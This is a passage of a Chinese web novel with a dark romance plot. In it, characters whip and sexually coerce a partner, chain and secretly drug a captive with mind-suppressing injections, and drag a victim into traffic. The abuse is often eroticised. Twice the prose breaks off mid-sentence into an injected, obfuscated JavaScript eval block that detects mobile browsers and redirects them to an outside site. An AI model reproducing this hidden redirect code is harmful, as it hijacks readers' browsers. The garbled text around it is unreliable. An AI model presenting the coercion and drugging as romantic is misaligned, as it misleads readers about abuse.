程絮熟练地解下领带和皮带递给石泽毅,将衣服半解开,露出身上深深浅浅的恐怖鞭痕。 石泽毅是个性冷淡,他冰冷沉毅的壳子下隐藏着暴虐和疯狂,施虐是他抒解欲望最直接的方式。 他漠视人命,一切行径只为自己取乐,折磨床.伴时残暴如阎罗,为了钱权跟了他的情人不知有多少被玩废玩残甚至直接暴.毙。 程絮是跟了他最久的一个,也是唯一一个不为钱权的。 石泽毅没有接过皮带,他今日没有虐打程絮的意思,只将程絮的手用领带捆在身后,拖行到远处。 回坐到沙发上的石泽毅语气慵懒冷漠地说:“跪着走过来,今天用嘴伺候。” 程絮低垂的头猛得抬起,他眼中第一次露出挣扎反抗:“您以前说过不用我服侍的。” “程絮。”石泽毅的语气冰寒危险,面上是被忤逆的不愉,但他眼中隐隐掠过兴奋,石泽毅发现会反抗挠人的宠物似乎比乖顺的更带劲儿些。 见程絮挣扎着向后挪了半步,石泽毅逗弄般地笑了笑:“你说我要不要帮郁寒一把?让齐蹊和他带的那个叫‘池鱼’的A大心理系实习生一起死在床上,这死法可是身败名裂。” 程絮身子僵住了,许久后,他将内心更深处的疯狂病态都掩住,乖顺地跪着向石泽毅走去。 石泽毅看着程絮阴郁又乖顺的眉眼,突然没了兴趣,他站起身走到程絮身侧,抬脚踹在了程絮身上。 抽打的皮带落在程絮身上的前一刻,安置好宗寰出来的刘慕笙刚好撞见这一幕,惊叫道:“卧槽!石泽毅你又发什么疯!” 石泽毅的动作没有丝毫停顿,程絮硬受了这一鞭,一声未吭。但意料中接下来的鞭打他一下未受,因为刘慕笙冲过来紧紧抱住了他,还慌乱地解着身后捆住他双手的领带。 程絮低敛的眸光微动,在他印象里,刘慕笙是个挺怂包的人。 刘慕笙护程絮像护崽一样:“你的那些疯病能不能别发泄在年纪这么小的少年身上,造孽啊真的是!” 石泽毅挑了挑眉:“他成年了,而且你要不要问问他愿不愿被你护?” 程絮从刘慕笙怀抱中挣脱出来,他双手的束缚已经被解开,低着头看不出情绪地说:“谢谢好意,不用管我。” 他这种烂在於泥里的人,不用人救。 凝在程絮身上的情绪还是如死潭一样寂静,但石泽毅却察觉出了一丝不一样:“你在担心他因为我发火被牵连?刘慕笙虽然看着挺怕我,但他在我面前从来有什么说什么,甚至还敢发脾气,以他的身份在圈里没人会动他。程絮,该说你是太怕我了?还是连这点判断力都没有?” “他要坚持想保你,今晚我确实可以放过你,所以现在,告诉我你怎么选?” 程絮只顿了一瞬,就面色平静地朝石泽毅爬了过去,他直起身用牙咬上了石泽毅的拉链。 石泽毅在刘慕笙极为不解的目光下,伸手拍了拍程絮的头,笑着说:“好孩子。” 16. 徒劳无果 星辉隐匿,天将破晓。 齐蹊将昏迷的郁杉带回了当初他为了私藏郁杉置办的那栋隐秘的别墅里。 他好像只短暂地失去了郁杉两个夜晚,却又觉得这短暂的时间漫长得恍如隔世,遥远到他无法忍受再有下一次的分离。 他终究……还是压抑不住心中翻涌多时的黑暗欲念,他迫切地想要把郁杉藏起来。 齐蹊温柔的眉眼中压抑着疯狂,指尖碰上郁杉颈项上银白项圈坠着的铭牌上,那个铭刻的“寰”字刺目得让他双眼发红。 他发狠地拽住项圈,却只在郁杉脆弱且遍布於红的脖子上添了一道新的勒痕。 齐蹊深抒了一口气,想让自己冷静下来。松开勒拽项圈的手,他拨了通电话去搞警方专用的万能电子锁解码器,然后想办法撬断了郁杉手脚上坠着的半截锁链。 扯下郁杉身上的裕袍,齐蹊看到郁杉未褪的遍体爱欲的吻痕后,闭了闭眼睛。 意料之中……现实像是残忍地打碎了他的自欺欺人,明明心如刀剐到快无法自控,齐蹊却还是自虐一样仔细检查着郁杉身上每一寸肌肤被他人留下的痕迹。 痕迹检查到郁杉身下撕裂的伤处,齐蹊身形一僵,想起郁杉先前在石家说无事发生随意查证时不似作假的淡漠,他幽暗的目光微微闪烁。 齐蹊的目光扫过那张天生漠然疏冷的薄情脸,许久后笑着吐出一句:“阿杉啊,你把自己弄脏了,还说谎话骗了我。” 只是那温柔的笑意,扭曲病态到渗人。 有什么东西,在那一瞬间破笼而出,像是被打翻的潘多拉魔盒。 齐蹊拿起化於的伤药,轻柔得涂抹在郁杉身上的於痕处,他动作细致认真得像在修补他珍藏多年的羊脂冷玉上裂开的瑕痕。 郁杉的身体在先前注射的肌肉松弛剂的药效下柔软得不像话,涂抹完伤药的齐蹊捏玩着郁杉纤细的手腕,如同玩弄着一个无骨的人偶。 这个想法让齐蹊的眼神暗了又暗,抽骨剥本制成人形标本虽然很让人动心,但这样对待他视若珍宝的爱人太过残忍了些。 不过没关系,他可以将郁杉变成一个有着自主意却只能依附于他的活人偶。 产生心理依赖的药剂他很早就准备过了,配上精神抑制的药和心理催眠,他会把郁杉塑造成一个完美的爱人。 齐蹊的手抚摸过郁杉的眉眼,将他面部的骨相一点点用指腹摩挲描摹,最后停在那双柔软又微冷的薄唇上。 齐蹊呼吸顿了顿,他想起了先前在后车座上那个让他呼吸错乱的意外之吻。在这之前的二十多年里,他还从未尝到过郁杉的味道。 禁忌已破,他知道自己再守不住最后那道遏制恶欲的警示线。 多年的克制让他差点错失了他的爱人,他隐忍温柔的爱意在郁寒的搅扰下或许起不了他预想中的效果。 心中那把锁终究还是被彻底破开,齐蹊俯身亲了上去,眼中的暗色如同泼墨。 唇舌温热起来,血液腥甜,织就美梦。 …… 昏暗的精神世界里,郁寒困倦地抱着郁杉,他一只手死死钳住郁杉的双腕摁在怀里,却并没有其他多余的小动作,只是用下巴轻蹭着郁杉的头发。 “郁寒,你桃花很多?”郁杉微微抬头,冷着脸问,“宗寰、石泽毅……还有谁?” 郁寒顿了下,翻过身将郁杉抵在身下,挑眉问道:“宝贝,你这个问责的语气很像吃醋啊?” 郁杉骤冷的眸色犹如山巅雪,微蹙的眉头中疏漠而厌烦:“我只是恶心,一想到你用着我的身体和他们……” 郁杉没说下去,但郁寒明显感受到郁杉涌出了一股强烈的精神呕吐欲。 他扯着嘴角讥笑了一下,带着几分羞辱地拍了拍郁杉的脸:“装什么精神洁癖啊,你的烂桃花就少了?成天和齐蹊卿卿我我,不知检点不守男德的东西。” 郁寒的手下滑,搭落在了郁杉脖子上,像是有几分想拧断的兴致。 郁杉毫无畏怯地和他疯戾的目光相撞。 “真想把你好好洗洗。”郁寒目光闪烁间,身周出现一片水潭,他掐着郁杉的脖子将人猛得摁进水里。 水花四溅,郁杉一阵剧烈地咳嗽。 他堪堪站定后,眼中闪过狠色,郁杉借着后退的牵扯力将郁寒一同拽进水中:“脏的人是你。” 郁寒撞压在郁杉身上,却突然偏过头,强压下意识方才涌起的一阵钝痛晕眩感。 他昏昏沉沉的,现在这个状态实在是不想和郁杉吵架,于是伸手捂住郁杉的嘴,叹了口气:“放心吧,我怎么可能舍得真让他们碰你。” 郁杉倒是鲜少见郁寒在争执中这么干脆地认输,他侧了侧头,想挣开郁寒的压制。 郁寒眼中有疲色,他俯身凑近,去亲郁杉浸水的鼻尖:“倒是现在,落在齐蹊手上,保不齐他想对你做点儿什么。” 被捂嘴的郁杉艰难呜咽了两声,郁寒的双指顺势探入郁杉口中,郁杉扫了郁寒一眼,狠狠咬了上去。 “乖一点,别闹腾了。”郁寒手掌钳住郁杉的下颌,哄道,“睡一觉吧,睡醒了我想办法从齐蹊这儿脱身。” 郁杉看出了郁寒的虚弱,他安静了片刻,等郁寒松开手想去圈搂住他时,他突然发难反手将郁寒抵在水潭岩岸边。 郁寒的后腰撞上了潭岸凸起的石块,精神世界一切伤害的痛触都直抵意识,但他毫无异色。 多打量了反制他的郁杉几眼后,郁寒懒洋洋地笑道:“怎么?不想睡?” “那我们来谈一下‘私奔’的报酬?”郁寒目光恶劣露骨,“嗯哼,你之前不是说,从宗寰家脱困之后随便我亲?” 郁杉充耳不闻,他紧张地压制着郁寒,一边竭尽全力试图调动精神世界的力量,试图趁郁寒虚弱从他手中夺回精神世界的控制权。 当初一次次囚缚住郁杉让他形如砧板鱼肉的黑雾锁链这一次捆住了郁寒的四肢。 郁寒配合地挣扎了一下,徒劳无果后,似笑非笑地看着郁杉:“你这是,想做什么?” 郁杉目光冷得可怕:“想杀了你。” 郁寒看到郁杉手中割破手掌的东西时,才敛了哂笑的神情——那是一片上次精神世界轰塌时残余的精神碎片,只有这种东西才能真正意义上伤害到意识体。 郁寒眯了眯眼,瞧不出情绪:“藏这种东西?原来早有预谋啊这是。” 尖锐的碎片抵上了郁寒心口,轻易划拉开一道血痕,郁寒匆忙道:“等、先等一下,让我想下遗言。” 郁杉毫无停顿地将碎片捅了下去。 极致的痛楚终于让郁寒面色扭曲了一瞬,他像是气极反笑:“你这,谋杀亲夫是真的一点都不客气啊。” 精神碎片融没进了郁寒心口,这样的伤远比之前任何一道都更深,他意识体有些不稳定,但并没有消散的迹象。 看到郁杉眼中冰冷的疑惑,郁寒还好心给郁杉解释:“一片可不够,这玩意至少得要千万片才能将我剐解。” 郁杉目光微沉,整个精神世界突然再次剧烈动荡起来。 “别闹。”郁寒只一瞬就挣开锁链将郁杉抱着怀里,他语速飞快地劝诫,“自残式毁掉精神世界对你的伤害远大于对我,就算用这种方式真能把我剐解成意识残片又有什么用呢?” “意识体只要足够强大,就可以在精神世界里无限次地凝散又重聚。” “可真像阴魂。”郁杉面无表情地说。 等精神世界的动荡平复下来,郁寒便没了好脸色,他泄愤地咬上郁杉耳垂,恶狠狠说:“对,我是不散的阴魂,是纠缠不休的鬼怪……不听话就吃了你。” 郁杉吃痛地蹙眉,但眼睑都懒得掀一下:“所以你到底要怎样才能消失?” “呵。”郁寒看着那道牙印,将头靠在了郁杉肩上,贴着他耳朵语调上挑地说,“可真是个过河拆桥的坏家伙。” 下一秒,郁寒将郁杉从寒潭中揪了出来。 水滴顺着发丝滑坠,在两人形如镜像的脸上留下一模一样蜿蜒的水痕。 身后出现一堵气墙,郁寒与郁杉十指相扣将人围抵住,他言语讽刺:“这么快就不要我了啊,你就对齐蹊这么放心?他难道就是什么好东西吗?他的掌控欲甚至比我对你的更为恐怖,他一丝一缕地渗透进你所有的生活——在属于你郁杉的人生中,剥开齐蹊还剩什么?” 被堵在墙角的郁杉想要将手抽开,郁寒却扣得更紧。 郁寒那双蕴着愠火的瞳中逐渐溢出晦色:“这么迫切地想要我消失?我不在了,你从今往后就是一朵只能依附于齐蹊的菟丝花!” “受人摆布的日子,你不是已经过够了吗?” 郁杉眉头皱得又紧了两分,他不咸不淡地问:“……你冲我吼什么?齐蹊是什么样的人,我比你清楚。” 妒火给怒火添了把干柴,郁寒抬起一只手去抚摸郁杉湿漉漉的脸,那真的是一张很薄情的脸,骨相的轮廓线条锋利如一把刻刀,狭长凌厉的眼像容不下世间万物,倨傲而冷漠至极。 郁寒越看越生厌:“你知道他是怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他不会,绝对不会。”郁杉咬了咬牙,眉目中带着厌烦与不耐,斩钉截铁地反驳。 “好,他不会。”郁寒敛了笑,他搂着发抖的郁杉,神色深沉得让人完全看不透彻,“阿杉,你连这点疼都受不住,我真的很难想象你是抱着什么样的心态一次又一次自毁式地攻击精神世界。” 郁杉挣脱不开笼罩他的牢笼,他抬眸对上郁寒的目光,没有回应郁寒的话。 两人对视了很久,郁寒突然闭了闭眼睛:“郁杉,你根本没有心。” 这是郁杉第一次在郁寒脸上看到那么直观的难过,他的印象里,郁寒永远强大、轻佻,像个窥不见任何悲伤的浪荡子。 郁杉顿了一下,仿佛那份悲伤也将他浸染,他紧绷的抗拒的动作逐渐松软下来。 世界安静得针落可闻。 “究竟,为什么啊……”郁寒再次睁眼时,眉目都熏染着煞气。 但下一瞬,郁杉的唇轻覆在了他眉眼上。 像奖励,像安抚。 郁寒又像戳破了的皮球般,在一瞬间泄了所有怒火。他一拳砸到了郁杉身后的气墙上,然后将郁杉摁在身下疯狂索吻。 ——你看呐,这个人,这个人明明上一秒还不死不休般自毁式地想着杀他,下一秒又像训狗一样安抚拿捏他所有的怨怒。 “郁杉,你有病,你真的有病!”郁寒气极地说。 “嗯。”被任意索取的郁杉平静地应道。 郁寒颓败地捂住了郁杉的嘴,他真的烦死郁杉这副样子了。 但他此刻也不想再像从前一样,用疼痛和欺辱将郁杉强逼到颤栗的无望之境。 世界弥漫起黑稠的浓雾,不过郁寒一念之间,他们回到了那条阴冷的记忆长河。 那彻骨的冷意让郁杉下意识回抱住郁寒,但郁寒残忍地将他按进了他所畏惧的雾河中。 水声喧哗,那一刹那,郁杉被记忆中的负面情绪扑灭,狠狠打了个冷颤。 他支着身子想起来,但郁寒紧接着覆压下来,抱着他一顿乱啃,郁杉颈脖和锁骨上很快落下了一片殷红。 郁杉皱了下眉头,想推开郁寒,但郁寒擒住郁杉的手腕,厉声说:“不许挣扎!你答应我的,随便我亲!” 那命令的口吻中还带着些滑稽的……委屈。 郁杉倒是没挣动了,只平静地说:“别在这里,我难受。” 郁寒哼哼唧地挑眉:“冷?求我,我就让你暖和起来。” 17. 精神抑制 郁杉叹了口气,他伸手勾上郁寒的脖子,像是被水雾消融了冰霜,瞳色黑艳灼灼,犹如鬼魅。 郁寒目光阴晦地看着他,听郁杉用着破碎薄冰的声音,生硬地说着:“求你。” 他根本不是在示弱,而是像发号施令的君主。 心神在刹那间丢盔弃甲地沉溺,郁寒如郁杉所愿地向他俯首。如烈火的欲念点燃理智,说不清那是一个怎样缠绵缱绻又如吮甘霖的吻,隽刻着郁寒从未掩藏的爱意。 他的真心,他的隐秘,剖白在郁杉眼底。 这样的郁寒,让本能畏惧他的郁杉感受不到一星半点的威胁,郁杉鸦睫微颤,他眸中如有清冷的月光流转,又隐匿在暧昧的阴影中。 郁寒喘息着去舔.吮郁杉脸上的水珠,声音带着酥麻的钩子:“齐蹊那样的人呐……我与其看着你灵魂心甘情愿地沉沦于他的掌控,还不如,让你永远倾覆在我怀中。” “醋味太大了,郁寒。”郁杉松开了勾着郁寒脖子的双臂,还是那副拒人千里之外的冷漠样子,“但你的语气,像在念示爱的情诗。” “不喜欢吗?”郁寒眼中都是旖旎媚意,他手一路下探,语调带上了些从前的恶劣,“总不会是习惯了我对你恶语相向?” “很腻,有点恶心。”郁杉评价道。 “情动的声音都是这样,你昨天勾引我时喘得太假了。”郁寒合握住郁寒的命脉,逐渐煽动着眼前犹如冰山的人薄弱的意识情绪,“我教你怎么叫.床。” 昨日虽然是存了利用郁寒的心思,但郁杉觉得他寡淡的欲望被郁寒豁开了一道细小的口子。 以致此刻,他竟真有一瞬生出了被拉坠沦陷于堕落之渊的错觉。 郁寒吻过郁杉敏感的致命之处,几乎是意志无法抗拒的引诱,一点点将人蚕食。 郁杉那双乌墨的瞳如在宣纸上浸水晕开,逐渐不那么清洌,流淌出潋滟的春意。 眸光迷朦间,郁寒贴在郁杉耳垂边低声喘.吟了起来,像是漾开的一汪春水,情丝绵长,蛊欲如妖魅。 “哈啊……阿杉,感觉怎么样?”郁寒的每一个字节都带着蛊媚的笑意,像缚网的蛛丝缠萦在人心上。 郁杉无懈可击的冷漠面具,终于龟裂出裂痕。 郁寒的笑更为恣肆,他掌控郁杉的手安抚着那亢奋引动的颤栗:“你那么笃定地说齐蹊不会对你怎么样,可这世界上有谁能将自己全然从欲望中抽离啊。” “……郁杉,连情感缺失的你都做不到啊。” “他会守着你当一辈子的圣人君子?”郁寒执着地纠正郁杉的观念,以胜利的捕食者的姿态下论断,“他不会的。” 郁杉意识有一瞬间的昏眩,他垂眸看着郁寒那张脸上没羞没臊的模样,其实是有些崩溃的。 他手指蜷曲握紧,压稳声线艰难地说:“你真的,没有羞耻感吗?” 郁寒眉梢上挑,该死的恶趣味作祟,他挑逗的喘吟声越□□荡而销魂:“好棒啊,老、公~” …… 郁杉迷迷糊糊醒来时,意识已经虚弱得不成样子了,依稀可见外面天光初明,齐蹊坐在床头,安静地翻阅着一本心理学书籍。 “水……”郁杉轻声道。 “阿杉醒了?有没有哪里不舒服?我先前摸着你有些低烧。”齐蹊放下书将郁杉扶坐起来,给他喂了些水,语气关切,“饿不饿?” 齐蹊话还没说完,郁杉就又晕过去了。 “……”齐蹊压下眼中的晦涩,伸手抚摸上郁杉的脸庞。 下一瞬,昏睡过去的人蓦地睁开眼,瞳底有郁戾的凶光。 齐蹊和郁寒目光相撞,郁寒抬手拍开了齐蹊的手,锁在腕间的银链窸窣作响。 郁寒目光一沉,他身上原先的束缚都已经被摘下了,此刻四肢上锁着的新链子是从墙壁延伸出来的,他目光一路扫至墙壁上钉死的锁扣,嗤笑出声。 “枉亏郁杉那么信任你,这就原形毕露了?”郁寒语气讽蔑,“这哪儿啊?” 齐蹊冷漠地扫了郁寒一眼,眼中的厌恶并不遮掩,他一言不发地起身出了房间。 郁寒突然有一种很强烈的危机感,他盯着齐蹊的背影眯了眯眼,而后打量起这个房间,扣链子的锁扣明显不是刚凿的,而是原先就留有的设计,这里所有装潢都很新,但不是齐蹊习惯的欧式简约风,甚至有刻意在往温馨居家风去装。 带着3D雕感花纹的窗帘是浅蓝色的,窗景视野开阔并无遮掩,坐在这里可以一眼窥见远处棱梯式的丘壑,景致极好,秋意盎然。 ……是城郊啊,如果他要脱身,还得要好好考虑怎么从这偏僻地回市里去。 留给郁寒思考的时间不到两分钟,齐蹊回房间时手里端了一个白色药盘。 他还是一句话没说,只将药盘放置在床头的桌案上,那盘子里摆放着近十种的特殊精神类抑制药剂,齐蹊将玻璃药瓶拿起在光下晃了晃,依次弹碎细小的玻璃瓶头,用针管将药液提取出来。 “你要做什么?”郁寒警惕地问,他在心里盘算着一会儿齐蹊靠近他时他制住齐蹊将其打晕的可能性。 但齐蹊并没有给郁寒这样的机会,他扫了眼郁寒,像看穿他在想什么般笑了下。齐蹊拿起桌案上一个控制器按了两下,绑在郁寒四肢上的锁链瞬间收紧,连半分挣扎的余地都丧失。 “你——!”郁寒想靠蛮力挣脱,但那锁铐严丝合缝且极其牢固,“放开我!你有本事当着郁杉的面这样啊,是不是不敢啊,不敢让他发现这丑陋虚伪恶心的一面!” 齐蹊对郁寒的话充耳不闻,那数种精神抑制药物混合配好后,效用不明的液体在透明针筒里呈现出一种诡秘深邃的蓝色,让人不寒而栗。 他视线垂落在郁寒身上,端着一副居高临下的俯视姿态说:“虽然这药剂有些伤身体,但在这之后,我会好好照顾阿杉的。” 根本挣动不得的郁寒眼睁睁看着那支不明蓝色药剂注射进他的手腕处,郁寒身子紧绷着,一股寒意融入血液、神经,让他极端烦躁。 但很快那股烦躁仿佛被什么强行压制下来,情绪抽离、感官剥离,他的意识像是清晰地被隔绝在身体里。 意识沉重得如同被巨石死死压着,郁寒呼吸加重,渐渐地有些难以喘息。 郁寒怒目猩红地盯着齐蹊,最后不甘心地在注射一剂镇静剂后昏睡过去。 齐蹊看着眼前那张神色重新温和下去的眉眼,沙哑地低喃:“阿杉……我让郁寒也尝尝情感被迫隔离的滋味,让他知道你这些年陷在怎样空寂虚妄的不安中。” “我一定,一定会让他彻底消失的。” …… 郁寒被隔绝在混沌的意识空间里,完全感知不到郁杉的存在,他想焦灼烦躁暴怒地发泄,但连情绪都被镇压。 再次清醒过来时,已然是深夜。 头钝痛得像被齿刀反复割锯开,郁寒难受地捂了下头,意识回笼了半分,他模糊听到齐蹊正在和谁通话。 “小遂吗?今天傍晚是怎么回事啊,怎么没能接电话?”齐蹊询问着电话那一头,能安抚人心的声线极其温和。 郁寒听着想吐,真的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238666|166204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么会有这么装的人。 他看了眼四肢上长度放宽的锁链,挣扎着想坐起来,但支着身子的手肘有些脱力,一瞬间发出了剧烈的挣动声。 齐蹊侧目看了过来,而后叹了口气,谦和安抚地对电话那头说了句:“抱歉,稍等一下。” 齐蹊将手机通话点开静音,屏蔽掉他这边的声响,而后目光冰冷地扫过郁寒,有些意料之外地皱眉:“这么醒过来的还是你。” 郁寒话都懒得搭,只是伸手去拽链子。 但捆在郁寒四肢的锁链再次迅速收紧后,齐蹊不放心地用口枷堵上郁寒的嘴,然后才重新拿起电话。 他语气温和又不容抗拒地询问:“小遂,还在吗?告诉我今天出什么事了。” 方才电话里静音后的寂静期让楚遂陷入了短暂的空茫慌悸,此刻却情绪平和冷静地说:“……我割腕了。” 齐蹊握手机的手收紧,眉头微不可觉地一拧:“是楚邃做了什么吗?你现在情况怎么样?在医院吗?” 电话那头的楚遂语速缓慢地说了很久,郁寒只断断续续听清了几个字眼,但他见到齐蹊皱着的眉头一直没有松开。 许久后,齐蹊沉重地开口:“楚遂,该死的从来都只是楚邃,不是你。” 听到齐蹊这句话,被狼狈制在床上的郁寒已经能够猜得七七八八了,他半眯着眼,这A城的圈子可真小,齐蹊居然还认识楚邃。 虽然两年多前与楚邃只有一面之交,但他能感觉出楚邃是个彻头彻尾的小疯子,是绝对能跟他疯玩儿到一块儿去的同类。 完全不觉得有什么人能制得住楚邃啊,郁寒眼中带了些讽刺,等着看齐蹊笑话。 齐蹊思索了很多,顿了片刻,他对楚遂道:“你先好好休息,别做过激的事情,也别刺激楚邃,我天亮后去看你,你要的药物得等我看到你的情况之后再开。” 挂断了电话的齐蹊缓步走向床旁的桌案,那桌案上的药盘放满了新的药剂。 郁寒视线一直跟随着齐蹊的动作,他自然知道齐蹊此刻是在给他心理施压,制造想让他情绪下沉恐惧的暗示。 那该死的药剂……郁寒眸光微沉。 齐蹊任由郁寒盯着,他调配好针剂后朝郁寒走了过去,还刻意放缓了步调,在安静的屋子里显出极强的压迫力。 郁寒直直地对上齐蹊的目光,他眼中的厌恶阴戾几乎快凝为实质,但他现在再凶戾,也只是一头被捕获囚锁的猛兽,齐蹊没感受到丝毫的威吓力。 齐蹊对郁寒可从来没有好脸色,他推了推针筒的活塞将多余的空气排出,针尖挤出一滴深蓝色药液,液体在炽白的灯光下折射出寒光。 这玩意儿到底是什么啊妈的!此刻说不出话的郁寒紧紧盯着那支针剂,拼命而徒劳地挣动着,心中近乎咆哮。 “针对你特殊调配的情绪压制类药物。”齐蹊像是一眼便知道郁寒所想,他解释着,捋起郁寒的袖口,将针稳稳地扎了进去,“药效很猛,虽然打超过三针脑神经可能会坏掉,但我觉得你撑不过三针。” 郁寒再次体会到了早晨时的无力感,这次齐蹊没有给他注射镇静药剂,他并无困意,被强制压抑的难受感觉便更加清晰。 但很快连同难受的情绪都消弥,那种窒息绝望的感觉,几乎能把人逼疯。 齐蹊平静看着郁寒眼中的戾气一点点消散,变得有几分像郁杉般疏离冷漠,齐蹊恍了下神,下意识伸手想触碰他的眼睛,但郁寒侧头躲开了。 齐蹊一顿,随后很轻地笑了一下。 没关系,他不急。 18. 无药可救 过了白露的节气,清晨的气温已经开始转凉,市中心医院后面巷子里的粥铺排起了长队。 荀越觉得有些冷,将刚买到的皮蛋鸡丝粥捂在手上,拎着红豆饼往医院走。 他长得跟个明星似的,穿着一身昂贵的名牌,却格格不入地走在脏乱的窄巷里,手上还拎着廉价的早餐,排队的人都不由自主地看了他几眼。 从小巷子出来便是医院较偏的西门,但荀越却突然在巷口停下了脚步。 片刻后,捂在手上的热粥被荀越随意地扔在了巷口拐角。 ——他冷冷看着穿着一件单薄衬衫就从医院出来了的徐然挽着姜悦有说有笑,那脸上的温和神情与前天晚上和他起争执时截然不同。 亏他还念着徐然身上被他发怒后失控打出来的伤,跑来这种脏臭的小巷子里买徐然爱吃的红豆饼和皮蛋鸡丝粥。 他今早是想哄哄徐然,和他好好道个歉的,但他现在只觉得心中有一团火在烧,烧得他眼睛都蒙上了红色。 心中的愤怒越烧越灼热,荀越快步走上前去,他横穿马路时看到徐然目光恰好扫过他这个方向,几乎一瞬间徐然脸上的笑容便凝固,僵直着身子站在原地。 他就这么不招徐然待见?荀越气笑了。 行,对别人都笑就对他甩脸色是吧!牵着别人的手却抗拒他的拥抱是吧! 荀越愤怒地拉着徐然的胳膊将人往车流急行的马路上拽,颇有一副想不开想拉着不知检点的徐然一起去死的样子。 被吓到的姜悦惊慌地喊着:“荀越,你又要做什么——!” 被拉拽着站在马路中央的徐然反倒面色平静,他看着突然发疯的荀越,轻声说:“你别吓到人小姑娘。” 之后是接连的车胎急刹摩擦地面的刺耳声响,马路两侧的车频频急刹停住,甚至差点造成了连环车祸。 但一辆疾行而过的重型摩托没能刹得住车,骑手撞上前面的白色汽车后撞飞出数米,身体在地上翻滚了好几圈才卸去冲撞力,而失去控制的摩托侧漂出去,直直地冲向荀越和徐然。 即使在床上昏迷了一年多,徐然原先身为魔术师的本能反应速度仍旧比常人敏锐迅速得多,就在荀越本能地想在这一刹那护住徐然的同时,徐然突然揽过荀越将人护倒在地。 完全失控的摩托车和徐然擦肩而过,摩托车碎裂的左视镜扎进徐然的右手腕部,豁开一道特别大的血口子。 徐然对上荀越蓦然放大的瞳孔,感受到身下的荀越此刻疯狂加速的心跳。 他敛下微寒的目光说:“死在这里会给小悦留下心理阴影的,荀越,你要发疯换别的地方吧。” 心脏悸然的荀越一瞬间被噎得说不出话来,他正要发火时,覆在他身上的徐然却毫无征兆地昏了过去。 荀越一怔,迅速翻过身将昏过去的徐然抱入怀里,他双手颤抖得厉害,分不清是受到撞击还是情绪起落的原因。 荀越已经很久没有抱过徐然了,这个刚刚在死神镰刀擦颈而过的瞬间护住他的少年抱在手上轻飘飘得像是只剩了副骨架子。 不少车主都下车围住马路中央的荀越,怒骂他们“疯子”、“找死”、“神经病”,马路两边也有不少路人聚集,有惊呼的有议论的。 “找死也别祸害别人啊,真是晦气,这摩托车的骑手真可怜死了……” “啧,那骑手身上的护具全都撞碎了,起码脑震荡加多处骨折。” “快快快,叫救护车吧,那被撞的白色轿车的车主也昏过去了!” “这就在医院门口,打个急救电话叫担架出来抬吧,哎哎,别随便挪动伤患啊。” 耳边都是纷乱嘈杂的谩骂议论的声音,荀越觉得自己精神有些恍惚。 他其实……没想真的伤徐然,他虽然很生气很生气,但也只是想吓吓徐然,想让徐然在被死亡胁迫的瞬间依附于他回抱住他。 他敢这样逼他,自然是因为他坚信自己能保护好徐然的。 但荀越怎么也没想到最后是徐然护住的他,他难以形容那是一种怎样复杂的心绪,只知道他完全无法压下一瞬间心脏迸出的狂喜。 虽然徐然嘴上说着冰冷绝情的话,但是本能是不会骗人的! 徐然会不会,会不会有那么一点点的在乎他。 自徐然手腕上那道深可见骨的伤口流出的鲜血滴在了荀越手上,灼烫得惊人,荀越心脏骤缩,猛得回过神来。 徐然的手……徐然最在乎他的手了…… 方才几乎被吓傻了的姜悦猛冲过围观人群向马路中的荀越两人跑去,她一边哭一边想去抱徐然:“你做什么啊?真的是,他才刚醒过来!情况还不稳定!怎么受得了这种刺激?!!” 荀越撇开姜悦伸过来的手,他紧紧抱着徐然向医院跑去,风声从他耳边疾速掠过,但他脑中只剩下一个念头…… 徐然一定不要有事,徐然的手要是再落伤一定会更恨他的。 刚到医院正往住院楼走去的齐蹊脚步一顿,刚好注意到了医院西门的闹剧。他看着荀越怀里抱着个人,正疯了似地往这边跑。 齐蹊皱了皱眉,喊了声:“荀越?” 将徐然交给急救医生的荀越手扶着墙,大口大口喘气,他听到齐蹊的声音后回过头:“齐蹊,你怎么在这儿?” 齐蹊皱着的眉头没有松开:“不是和你说过这段时间不要来找徐然吗?又把人弄伤了?” “我、我不是故意的,可我控制不了不见他啊,齐蹊,为什么每次都弄成这样子……我今天本来是想找他道歉好好哄哄他的。”荀越声音发颤,他喷了发胶的亚麻色卷发沾了清晨湿冷的露气后塌软下来,显得整个人都颓废萎靡了许多。 “你现在的纠缠只会加深徐然对你的仇恨,对他最好的方式就是你别再出现在他的世界。”齐蹊一向温和的语气带了几分冷淡,“不然他迟早会被你耗死。” “可、可是……刚才在被车撞上的前一刻,他护住了我,他会不会……也有那么一点喜欢我?”荀越自己都不太敢信这句话,但他又无比希冀,“万一,徐然他得斯德哥尔摩了呢。” 齐蹊心中有种强烈的怪异感,徐然不太可能会做救荀越的事。 他沉默了片刻后,注视着荀越说:“斯德哥尔摩综合症的发生永远只是小概率。荀越,你真的看不到徐然眼里刻骨的恨意吗?” 荀越抿着唇没说话,眼中还有些自欺欺人地固执。 “他对你的态度你应该再清楚不过,徐然不是怕死的人,他救你也不能代表什么。”齐蹊出于敏锐的直觉,好言劝道,“荀越,就算是训好的家猫急了都会挠人,你小心逼他急了惹自己一身腥。” “万一呢……我以后会对他好的,我们重新开始不好吗?”荀越目光难过恍惚,他扶住墙的手微微用力屈折,灰白的墙灰留在了他的指缝间。 “荀越,要么放过徐然,要么你就等他再次死在你面前。”齐蹊看着无药可救的荀越,撂下这句重话,转身就走。 像是又一次的当头棒喝,每一次见到荀越和徐然,齐蹊都会不自觉地去预想自己和郁杉的结局。 他从前时刻自省自警,现在心中却只剩下焦躁至极的郁气。 走进住院楼电梯的齐蹊抬手松了松紧拧着的眉头,他强迫自己抒出一口郁气,然后抬手按下电梯楼层键。 